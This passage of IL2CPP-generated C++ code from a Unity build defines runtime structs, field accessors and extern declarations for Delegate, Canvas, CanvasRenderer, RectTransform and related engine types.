___method_3 = value;
}
inline static int32_t get_offset_of_delegate_trampoline_4() { return static_cast<int32_t>(offsetof(Delegate_t, ___delegate_trampoline_4)); }
inline intptr_t get_delegate_trampoline_4() const { return ___delegate_trampoline_4; }
inline intptr_t* get_address_of_delegate_trampoline_4() { return &___delegate_trampoline_4; }
inline void set_delegate_trampoline_4(intptr_t value)
{
___delegate_trampoline_4 = value;
}
inline static int32_t get_offset_of_extra_arg_5() { return static_cast<int32_t>(offsetof(Delegate_t, ___extra_arg_5)); }
inline intptr_t get_extra_arg_5() const { return ___extra_arg_5; }
inline intptr_t* get_address_of_extra_arg_5() { return &___extra_arg_5; }
inline void set_extra_arg_5(intptr_t value)
{
___extra_arg_5 = value;
}
inline static int32_t get_offset_of_method_code_6() { return static_cast<int32_t>(offsetof(Delegate_t, ___method_code_6)); }
inline intptr_t get_method_code_6() const { return ___method_code_6; }
inline intptr_t* get_address_of_method_code_6() { return &___method_code_6; }
inline void set_method_code_6(intptr_t value)
{
___method_code_6 = value;
}
inline static int32_t get_offset_of_method_info_7() { return static_cast<int32_t>(offsetof(Delegate_t, ___method_info_7)); }
inline MethodInfo_t * get_method_info_7() const { return ___method_info_7; }
inline MethodInfo_t ** get_address_of_method_info_7() { return &___method_info_7; }
inline void set_method_info_7(MethodInfo_t * value)
{
___method_info_7 = value;
Il2CppCodeGenWriteBarrier((void**)(&___method_info_7), (void*)value);
}
inline static int32_t get_offset_of_original_method_info_8() { return static_cast<int32_t>(offsetof(Delegate_t, ___original_method_info_8)); }
inline MethodInfo_t * get_original_method_info_8() const { return ___original_method_info_8; }
inline MethodInfo_t ** get_address_of_original_method_info_8() { return &___original_method_info_8; }
inline void set_original_method_info_8(MethodInfo_t * value)
{
___original_method_info_8 = value;
Il2CppCodeGenWriteBarrier((void**)(&___original_method_info_8), (void*)value);
}
inline static int32_t get_offset_of_data_9() { return static_cast<int32_t>(offsetof(Delegate_t, ___data_9)); }
inline DelegateData_t1BF9F691B56DAE5F8C28C5E084FDE94F15F27BBE * get_data_9() const { return ___data_9; }
inline DelegateData_t1BF9F691B56DAE5F8C28C5E084FDE94F15F27BBE ** get_address_of_data_9() { return &___data_9; }
inline void set_data_9(DelegateData_t1BF9F691B56DAE5F8C28C5E084FDE94F15F27BBE * value)
{
___data_9 = value;
Il2CppCodeGenWriteBarrier((void**)(&___data_9), (void*)value);
}
inline static int32_t get_offset_of_method_is_virtual_10() { return static_cast<int32_t>(offsetof(Delegate_t, ___method_is_virtual_10)); }
inline bool get_method_is_virtual_10() const { return ___method_is_virtual_10; }
inline bool* get_address_of_method_is_virtual_10() { return &___method_is_virtual_10; }
inline void set_method_is_virtual_10(bool value)
{
___method_is_virtual_10 = value;
}
};
// Native definition for P/Invoke marshalling of System.Delegate
struct Delegate_t_marshaled_pinvoke
{
intptr_t ___method_ptr_0;
intptr_t ___invoke_impl_1;
Il2CppIUnknown* ___m_target_2;
intptr_t ___method_3;
intptr_t ___delegate_trampoline_4;
intptr_t ___extra_arg_5;
intptr_t ___method_code_6;
MethodInfo_t * ___method_info_7;
MethodInfo_t * ___original_method_info_8;
DelegateData_t1BF9F691B56DAE5F8C28C5E084FDE94F15F27BBE * ___data_9;
int32_t ___method_is_virtual_10;
};
// Native definition for COM marshalling of System.Delegate
struct Delegate_t_marshaled_com
{
intptr_t ___method_ptr_0;
intptr_t ___invoke_impl_1;
Il2CppIUnknown* ___m_target_2;
intptr_t ___method_3;
intptr_t ___delegate_trampoline_4;
intptr_t ___extra_arg_5;
intptr_t ___method_code_6;
MethodInfo_t * ___method_info_7;
MethodInfo_t * ___original_method_info_8;
DelegateData_t1BF9F691B56DAE5F8C28C5E084FDE94F15F27BBE * ___data_9;
int32_t ___method_is_virtual_10;
};
// UnityEngine.Object
struct Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 : public RuntimeObject
{
public:
// System.IntPtr UnityEngine.Object::m_CachedPtr
intptr_t ___m_CachedPtr_0;
public:
inline static int32_t get_offset_of_m_CachedPtr_0() { return static_cast<int32_t>(offsetof(Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0, ___m_CachedPtr_0)); }
inline intptr_t get_m_CachedPtr_0() const { return ___m_CachedPtr_0; }
inline intptr_t* get_address_of_m_CachedPtr_0() { return &___m_CachedPtr_0; }
inline void set_m_CachedPtr_0(intptr_t value)
{
___m_CachedPtr_0 = value;
}
};
struct Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_StaticFields
{
public:
// System.Int32 UnityEngine.Object::OffsetOfInstanceIDInCPlusPlusObject
int32_t ___OffsetOfInstanceIDInCPlusPlusObject_1;
public:
inline static int32_t get_offset_of_OffsetOfInstanceIDInCPlusPlusObject_1() { return static_cast<int32_t>(offsetof(Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_StaticFields, ___OffsetOfInstanceIDInCPlusPlusObject_1)); }
inline int32_t get_OffsetOfInstanceIDInCPlusPlusObject_1() const { return ___OffsetOfInstanceIDInCPlusPlusObject_1; }
inline int32_t* get_address_of_OffsetOfInstanceIDInCPlusPlusObject_1() { return &___OffsetOfInstanceIDInCPlusPlusObject_1; }
inline void set_OffsetOfInstanceIDInCPlusPlusObject_1(int32_t value)
{
___OffsetOfInstanceIDInCPlusPlusObject_1 = value;
}
};
// Native definition for P/Invoke marshalling of UnityEngine.Object
struct Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_marshaled_pinvoke
{
intptr_t ___m_CachedPtr_0;
};
// Native definition for COM marshalling of UnityEngine.Object
struct Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_marshaled_com
{
intptr_t ___m_CachedPtr_0;
};
// UnityEngine.Plane
struct Plane_t0903921088DEEDE1BCDEA5BF279EDBCFC9679AED
{
public:
// UnityEngine.Vector3 UnityEngine.Plane::m_Normal
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___m_Normal_0;
// System.Single UnityEngine.Plane::m_Distance
float ___m_Distance_1;
public:
inline static int32_t get_offset_of_m_Normal_0() { return static_cast<int32_t>(offsetof(Plane_t0903921088DEEDE1BCDEA5BF279EDBCFC9679AED, ___m_Normal_0)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_m_Normal_0() const { return ___m_Normal_0; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_m_Normal_0() { return &___m_Normal_0; }
inline void set_m_Normal_0(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___m_Normal_0 = value;
}
inline static int32_t get_offset_of_m_Distance_1() { return static_cast<int32_t>(offsetof(Plane_t0903921088DEEDE1BCDEA5BF279EDBCFC9679AED, ___m_Distance_1)); }
inline float get_m_Distance_1() const { return ___m_Distance_1; }
inline float* get_address_of_m_Distance_1() { return &___m_Distance_1; }
inline void set_m_Distance_1(float value)
{
___m_Distance_1 = value;
}
};
// UnityEngine.Ray
struct Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2
{
public:
// UnityEngine.Vector3 UnityEngine.Ray::m_Origin
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___m_Origin_0;
// UnityEngine.Vector3 UnityEngine.Ray::m_Direction
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___m_Direction_1;
public:
inline static int32_t get_offset_of_m_Origin_0() { return static_cast<int32_t>(offsetof(Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2, ___m_Origin_0)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_m_Origin_0() const { return ___m_Origin_0; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_m_Origin_0() { return &___m_Origin_0; }
inline void set_m_Origin_0(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___m_Origin_0 = value;
}
inline static int32_t get_offset_of_m_Direction_1() { return static_cast<int32_t>(offsetof(Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2, ___m_Direction_1)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_m_Direction_1() const { return ___m_Direction_1; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_m_Direction_1() { return &___m_Direction_1; }
inline void set_m_Direction_1(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___m_Direction_1 = value;
}
};
// UnityEngine.RenderMode
struct RenderMode_tB54632E74CDC4A990E815EB8C3CC515D3A9E2F60
{
public:
// System.Int32 UnityEngine.RenderMode::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(RenderMode_tB54632E74CDC4A990E815EB8C3CC515D3A9E2F60, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// UnityEngine.UISystemProfilerApi_SampleType
struct SampleType_t2144AEAF3447ACAFCE1C13AF669F63192F8E75EC
{
public:
// System.Int32 UnityEngine.UISystemProfilerApi_SampleType::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(SampleType_t2144AEAF3447ACAFCE1C13AF669F63192F8E75EC, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// System.MulticastDelegate
struct MulticastDelegate_t : public Delegate_t
{
public:
// System.Delegate[] System.MulticastDelegate::delegates
DelegateU5BU5D_tDFCDEE2A6322F96C0FE49AF47E9ADB8C4B294E86* ___delegates_11;
public:
inline static int32_t get_offset_of_delegates_11() { return static_cast<int32_t>(offsetof(MulticastDelegate_t, ___delegates_11)); }
inline DelegateU5BU5D_tDFCDEE2A6322F96C0FE49AF47E9ADB8C4B294E86* get_delegates_11() const { return ___delegates_11; }
inline DelegateU5BU5D_tDFCDEE2A6322F96C0FE49AF47E9ADB8C4B294E86** get_address_of_delegates_11() { return &___delegates_11; }
inline void set_delegates_11(DelegateU5BU5D_tDFCDEE2A6322F96C0FE49AF47E9ADB8C4B294E86* value)
{
___delegates_11 = value;
Il2CppCodeGenWriteBarrier((void**)(&___delegates_11), (void*)value);
}
};
// Native definition for P/Invoke marshalling of System.MulticastDelegate
struct MulticastDelegate_t_marshaled_pinvoke : public Delegate_t_marshaled_pinvoke
{
Delegate_t_marshaled_pinvoke** ___delegates_11;
};
// Native definition for COM marshalling of System.MulticastDelegate
struct MulticastDelegate_t_marshaled_com : public Delegate_t_marshaled_com
{
Delegate_t_marshaled_com** ___delegates_11;
};
// UnityEngine.Component
struct Component_t05064EF382ABCAF4B8C94F8A350EA85184C26621 : public Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0
{
public:
public:
};
// UnityEngine.Material
struct Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 : public Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0
{
public:
public:
};
// UnityEngine.Mesh
struct Mesh_t6106B8D8E4C691321581AB0445552EC78B947B8C : public Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0
{
public:
public:
};
// UnityEngine.Texture
struct Texture_t387FE83BB848001FD06B14707AEA6D5A0F6A95F4 : public Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0
{
public:
public:
};
// System.AsyncCallback
struct AsyncCallback_t3F3DA3BEDAEE81DD1D24125DF8EB30E85EE14DA4 : public MulticastDelegate_t
{
public:
public:
};
// UnityEngine.Behaviour
struct Behaviour_tBDC7E9C3C898AD8348891B82D3E345801D920CA8 : public Component_t05064EF382ABCAF4B8C94F8A350EA85184C26621
{
public:
public:
};
// UnityEngine.Canvas_WillRenderCanvases
struct WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE : public MulticastDelegate_t
{
public:
public:
};
// UnityEngine.CanvasRenderer
struct CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 : public Component_t05064EF382ABCAF4B8C94F8A350EA85184C26621
{
public:
// System.Boolean UnityEngine.CanvasRenderer::<isMask>k__BackingField
bool ___U3CisMaskU3Ek__BackingField_4;
public:
inline static int32_t get_offset_of_U3CisMaskU3Ek__BackingField_4() { return static_cast<int32_t>(offsetof(CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72, ___U3CisMaskU3Ek__BackingField_4)); }
inline bool get_U3CisMaskU3Ek__BackingField_4() const { return ___U3CisMaskU3Ek__BackingField_4; }
inline bool* get_address_of_U3CisMaskU3Ek__BackingField_4() { return &___U3CisMaskU3Ek__BackingField_4; }
inline void set_U3CisMaskU3Ek__BackingField_4(bool value)
{
___U3CisMaskU3Ek__BackingField_4 = value;
}
};
// UnityEngine.Transform
struct Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA : public Component_t05064EF382ABCAF4B8C94F8A350EA85184C26621
{
public:
public:
};
// UnityEngine.Camera
struct Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 : public Behaviour_tBDC7E9C3C898AD8348891B82D3E345801D920CA8
{
public:
public:
};
struct Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34_StaticFields
{
public:
// UnityEngine.Camera_CameraCallback UnityEngine.Camera::onPreCull
CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 * ___onPreCull_4;
// UnityEngine.Camera_CameraCallback UnityEngine.Camera::onPreRender
CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 * ___onPreRender_5;
// UnityEngine.Camera_CameraCallback UnityEngine.Camera::onPostRender
CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 * ___onPostRender_6;
public:
inline static int32_t get_offset_of_onPreCull_4() { return static_cast<int32_t>(offsetof(Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34_StaticFields, ___onPreCull_4)); }
inline CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 * get_onPreCull_4() const { return ___onPreCull_4; }
inline CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 ** get_address_of_onPreCull_4() { return &___onPreCull_4; }
inline void set_onPreCull_4(CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 * value)
{
___onPreCull_4 = value;
Il2CppCodeGenWriteBarrier((void**)(&___onPreCull_4), (void*)value);
}
inline static int32_t get_offset_of_onPreRender_5() { return static_cast<int32_t>(offsetof(Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34_StaticFields, ___onPreRender_5)); }
inline CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 * get_onPreRender_5() const { return ___onPreRender_5; }
inline CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 ** get_address_of_onPreRender_5() { return &___onPreRender_5; }
inline void set_onPreRender_5(CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 * value)
{
___onPreRender_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&___onPreRender_5), (void*)value);
}
inline static int32_t get_offset_of_onPostRender_6() { return static_cast<int32_t>(offsetof(Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34_StaticFields, ___onPostRender_6)); }
inline CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 * get_onPostRender_6() const { return ___onPostRender_6; }
inline CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 ** get_address_of_onPostRender_6() { return &___onPostRender_6; }
inline void set_onPostRender_6(CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0 * value)
{
___onPostRender_6 = value;
Il2CppCodeGenWriteBarrier((void**)(&___onPostRender_6), (void*)value);
}
};
// UnityEngine.Canvas
struct Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 : public Behaviour_tBDC7E9C3C898AD8348891B82D3E345801D920CA8
{
public:
public:
};
struct Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_StaticFields
{
public:
// UnityEngine.Canvas_WillRenderCanvases UnityEngine.Canvas::willRenderCanvases
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * ___willRenderCanvases_4;
public:
inline static int32_t get_offset_of_willRenderCanvases_4() { return static_cast<int32_t>(offsetof(Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_StaticFields, ___willRenderCanvases_4)); }
inline WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * get_willRenderCanvases_4() const { return ___willRenderCanvases_4; }
inline WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE ** get_address_of_willRenderCanvases_4() { return &___willRenderCanvases_4; }
inline void set_willRenderCanvases_4(WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * value)
{
___willRenderCanvases_4 = value;
Il2CppCodeGenWriteBarrier((void**)(&___willRenderCanvases_4), (void*)value);
}
};
// UnityEngine.CanvasGroup
struct CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 : public Behaviour_tBDC7E9C3C898AD8348891B82D3E345801D920CA8
{
public:
public:
};
// UnityEngine.RectTransform
struct RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 : public Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA
{
public:
public:
};
struct RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20_StaticFields
{
public:
// UnityEngine.RectTransform_ReapplyDrivenProperties UnityEngine.RectTransform::reapplyDrivenProperties
ReapplyDrivenProperties_t431F4FBD9C59AE097FE33C4354CC6251B01B527D * ___reapplyDrivenProperties_4;
public:
inline static int32_t get_offset_of_reapplyDrivenProperties_4() { return static_cast<int32_t>(offsetof(RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20_StaticFields, ___reapplyDrivenProperties_4)); }
inline ReapplyDrivenProperties_t431F4FBD9C59AE097FE33C4354CC6251B01B527D * get_reapplyDrivenProperties_4() const { return ___reapplyDrivenProperties_4; }
inline ReapplyDrivenProperties_t431F4FBD9C59AE097FE33C4354CC6251B01B527D ** get_address_of_reapplyDrivenProperties_4() { return &___reapplyDrivenProperties_4; }
inline void set_reapplyDrivenProperties_4(ReapplyDrivenProperties_t431F4FBD9C59AE097FE33C4354CC6251B01B527D * value)
{
___reapplyDrivenProperties_4 = value;
Il2CppCodeGenWriteBarrier((void**)(&___reapplyDrivenProperties_4), (void*)value);
}
};
#ifdef __clang__
#pragma clang diagnostic pop
#endif
// System.Delegate[]
struct DelegateU5BU5D_tDFCDEE2A6322F96C0FE49AF47E9ADB8C4B294E86 : public RuntimeArray
{
public:
ALIGN_FIELD (8) Delegate_t * m_Items[1];
public:
inline Delegate_t * GetAt(il2cpp_array_size_t index) const
{
IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length);
return m_Items[index];
}
inline Delegate_t ** GetAddressAt(il2cpp_array_size_t index)
{
IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length);
return m_Items + index;
}
inline void SetAt(il2cpp_array_size_t index, Delegate_t * value)
{
IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length);
m_Items[index] = value;
Il2CppCodeGenWriteBarrier((void**)m_Items + index, (void*)value);
}
inline Delegate_t * GetAtUnchecked(il2cpp_array_size_t index) const
{
return m_Items[index];
}
inline Delegate_t ** GetAddressAtUnchecked(il2cpp_array_size_t index)
{
return m_Items + index;
}
inline void SetAtUnchecked(il2cpp_array_size_t index, Delegate_t * value)
{
m_Items[index] = value;
Il2CppCodeGenWriteBarrier((void**)m_Items + index, (void*)value);
}
};
// UnityEngine.Vector3[]
struct Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28 : public RuntimeArray
{
public:
ALIGN_FIELD (8) Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 m_Items[1];
public:
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 GetAt(il2cpp_array_size_t index) const
{
IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length);
return m_Items[index];
}
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * GetAddressAt(il2cpp_array_size_t index)
{
IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length);
return m_Items + index;
}
inline void SetAt(il2cpp_array_size_t index, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length);
m_Items[index] = value;
}
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 GetAtUnchecked(il2cpp_array_size_t index) const
{
return m_Items[index];
}
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * GetAddressAtUnchecked(il2cpp_array_size_t index)
{
return m_Items + index;
}
inline void SetAtUnchecked(il2cpp_array_size_t index, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
m_Items[index] = value;
}
};
// System.Void UnityEngine.Behaviour::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Behaviour__ctor_m409AEC21511ACF9A4CC0654DF4B8253E0D81D22C (Behaviour_tBDC7E9C3C898AD8348891B82D3E345801D920CA8 * __this, const RuntimeMethod* method);
// System.Delegate System.Delegate::Combine(System.Delegate,System.Delegate)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Delegate_t * Delegate_Combine_mC25D2F7DECAFBA6D9A2F9EBA8A77063F0658ECF1 (Delegate_t * p0, Delegate_t * p1, const RuntimeMethod* method);
// System.Delegate System.Delegate::Remove(System.Delegate,System.Delegate)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Delegate_t * Delegate_Remove_m0B0DB7D1B3AF96B71AFAA72BA0EFE32FBBC2932D (Delegate_t * p0, Delegate_t * p1, const RuntimeMethod* method);
// System.Void UnityEngine.Canvas::SendWillRenderCanvases()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas_SendWillRenderCanvases_mD38081FE3172AC7A884B8ED459E90633167B2D10 (const RuntimeMethod* method);
// System.Void UnityEngine.Canvas/WillRenderCanvases::Invoke()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WillRenderCanvases_Invoke_m115F44E08A802F1800D79D3B92EE1A575AD08834 (WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * __this, const RuntimeMethod* method);
// System.Boolean UnityEngine.CanvasGroup::get_blocksRaycasts()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool CanvasGroup_get_blocksRaycasts_m3792CE490F35260A673C28FD29BF4B2814833DDA (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 * __this, const RuntimeMethod* method);
// System.Void UnityEngine.CanvasRenderer::SetColor_Injected(UnityEngine.Color&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetColor_Injected_mA64D7935C130EDFCB8D9C1DF27F67C8EF6F36CCE (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 * ___color0, const RuntimeMethod* method);
// System.Void UnityEngine.CanvasRenderer::GetColor_Injected(UnityEngine.Color&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_GetColor_Injected_mD90AE649D248DA886C8DB085FC27B7134399F68A (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 * ___ret0, const RuntimeMethod* method);
// System.Void UnityEngine.CanvasRenderer::EnableRectClipping_Injected(UnityEngine.Rect&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_EnableRectClipping_Injected_mB430FAA285D77D2EA776CA90D3B1179DE637B20D (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Rect_t35B976DE901B5423C11705E156938EA27AB402CE * ___rect0, const RuntimeMethod* method);
// System.Int32 UnityEngine.CanvasRenderer::get_materialCount()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t CanvasRenderer_get_materialCount_m5C0C1E7CC3DAE4B14E29A36E9890F92C0DACC3F5 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, const RuntimeMethod* method);
// System.Int32 System.Math::Max(System.Int32,System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t Math_Max_mA99E48BB021F2E4B62D4EA9F52EA6928EED618A2 (int32_t p0, int32_t p1, const RuntimeMethod* method);
// System.Void UnityEngine.CanvasRenderer::set_materialCount(System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_set_materialCount_m124AD7592DD6078E097C9FD6CBC5676341DBCA9E (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, int32_t ___value0, const RuntimeMethod* method);
// System.Void UnityEngine.CanvasRenderer::SetMaterial(UnityEngine.Material,System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetMaterial_m9851A87FA12E2CD1321BB971953E899292EC4707 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * ___material0, int32_t ___index1, const RuntimeMethod* method);
// System.Void UnityEngine.CanvasRenderer::SetTexture(UnityEngine.Texture)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetTexture_m406C073585AF48FD2A880D73419F6E1069BEEA84 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Texture_t387FE83BB848001FD06B14707AEA6D5A0F6A95F4 * ___texture0, const RuntimeMethod* method);
// System.Void UnityEngine.CanvasRenderer::SplitUIVertexStreamsInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SplitUIVertexStreamsInternal_m845727DA732141F79E070AABA87C4468C3D9AFE4 (RuntimeObject * ___verts0, RuntimeObject * ___positions1, RuntimeObject * ___colors2, RuntimeObject * ___uv0S3, RuntimeObject * ___uv1S4, RuntimeObject * ___uv2S5, RuntimeObject * ___uv3S6, RuntimeObject * ___normals7, RuntimeObject * ___tangents8, const RuntimeMethod* method);
// System.Void UnityEngine.CanvasRenderer::SplitIndicesStreamsInternal(System.Object,System.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SplitIndicesStreamsInternal_mE13C66217A4A26239D601CC5FDD1AB8B302D487B (RuntimeObject * ___verts0, RuntimeObject * ___indices1, const RuntimeMethod* method);
// System.Void UnityEngine.CanvasRenderer::CreateUIVertexStreamInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_CreateUIVertexStreamInternal_m5BC57F4F9325EC398216AEA1E53CC21E5C6CA920 (RuntimeObject * ___verts0, RuntimeObject * ___positions1, RuntimeObject * ___colors2, RuntimeObject * ___uv0S3, RuntimeObject * ___uv1S4, RuntimeObject * ___uv2S5, RuntimeObject * ___uv3S6, RuntimeObject * ___normals7, RuntimeObject * ___tangents8, RuntimeObject * ___indices9, const RuntimeMethod* method);
// System.Boolean UnityEngine.RectTransformUtility::PointInRectangle(UnityEngine.Vector2,UnityEngine.RectTransform,UnityEngine.Camera)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool RectTransformUtility_PointInRectangle_m31A8C0A3CFCC0B584A33C3A3F2692EF09D303CEE (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___screenPoint0, RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect1, Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam2, const RuntimeMethod* method);
// UnityEngine.Vector2 UnityEngine.Vector2::get_zero()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D Vector2_get_zero_mFE0C3213BB698130D6C5247AB4B887A59074D0A8 (const RuntimeMethod* method);
// UnityEngine.Vector3 UnityEngine.Vector2::op_Implicit(UnityEngine.Vector2)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 Vector2_op_Implicit_mD152B6A34B4DB7FFECC2844D74718568FE867D6F (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D p0, const RuntimeMethod* method);
// UnityEngine.Ray UnityEngine.RectTransformUtility::ScreenPointToRay(UnityEngine.Camera,UnityEngine.Vector2)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 RectTransformUtility_ScreenPointToRay_mB74CED011944E1E7CE3A24C433B9B660C5BADC73 (Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam0, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___screenPos1, const RuntimeMethod* method);
// UnityEngine.Quaternion UnityEngine.Transform::get_rotation()
